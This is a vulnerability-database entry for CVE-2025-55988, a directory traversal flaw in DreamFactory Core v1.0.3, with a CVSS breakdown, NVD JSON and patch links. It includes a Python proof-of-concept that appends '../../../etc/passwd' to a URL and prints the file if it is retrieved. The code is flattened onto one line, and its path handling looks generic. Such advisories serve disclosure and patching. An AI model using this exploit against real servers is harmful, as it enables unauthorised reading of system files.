Security Vulnerability Report
中文
CVE-2025-55988 CVSS 7.2 HIGH

CVE-2025-55988

Published: 2026-03-20 21:17:12
Last Modified: 2026-04-14 19:27:16

Description

An issue in the component /Controllers/RestController.php of DreamFactory Core v1.0.3 allows attackers to execute a directory traversal via an unsanitized URI path.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:dreamfactory:dreamfactory_core:1.0.3:*:*:*:*:*:*:* - VULNERABLE
DreamFactory Core v1.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_cve_2025_55988(target_url): """ PoC for CVE-2025-55988: Directory Traversal in DreamFactory Core v1.0.3. This script attempts to read /etc/passwd via the vulnerable RestController. Note: Requires authentication (High Privileges). """ # The traversal payload is injected into the URI path # Adjust the endpoint prefix based on the specific installation traversal_payload = "../../../etc/passwd" # Construct the full malicious URL # Example: http://target/api/v2/../../../etc/passwd attack_url = f"{target_url.rstrip('/')}/{traversal_payload}" # Headers might be needed for authentication (PR:H requirement) headers = { "User-Agent": "CVE-2025-55988-Scanner", # "Authorization": "Bearer <token>" # Uncomment if auth is needed } try: print(f"[+] Sending request to: {attack_url}") response = requests.get(attack_url, headers=headers, timeout=10) if response.status_code == 200 and "root:" in response.text: print("[+] Exploit successful! Sensitive file content retrieved:") print(response.text[:500]) # Print first 500 chars else: print(f"[-] Exploit failed or file not found. Status: {response.status_code}") print(f"[-] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1/api/v2/user" exploit_cve_2025_55988(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55988", "sourceIdentifier": "[email protected]", "published": "2026-03-20T21:17:12.300", "lastModified": "2026-04-14T19:27:15.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in the component /Controllers/RestController.php of DreamFactory Core v1.0.3 allows attackers to execute a directory traversal via an unsanitized URI path."}, {"lang": "es", "value": "Un problema en el componente /Controllers/RestController.php de DreamFactory Core v1.0.3 permite a los atacantes ejecutar un salto de directorio a través de una ruta URI no saneada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dreamfactory:dreamfactory_core:1.0.3:*:*:*:*:*:*:*", "matchCriteriaId": "8B1416EF-51B5-4942-98DB-BB82D606BE88"}]}]}], "references": [{"url": "https://github.com/dreamfactorysoftware/df-core/commit/54354605b2ec9afe6ee96756a5a22f6f56828950#diff-e57a7c0af25166ac8f02695307c6c413ca4ba0a48a20b2202ad910654528aab1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://pentest-tools.com/PTT-2025-001-RemoteCodeExecution-via-URL-Path-Traversal.pdf", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}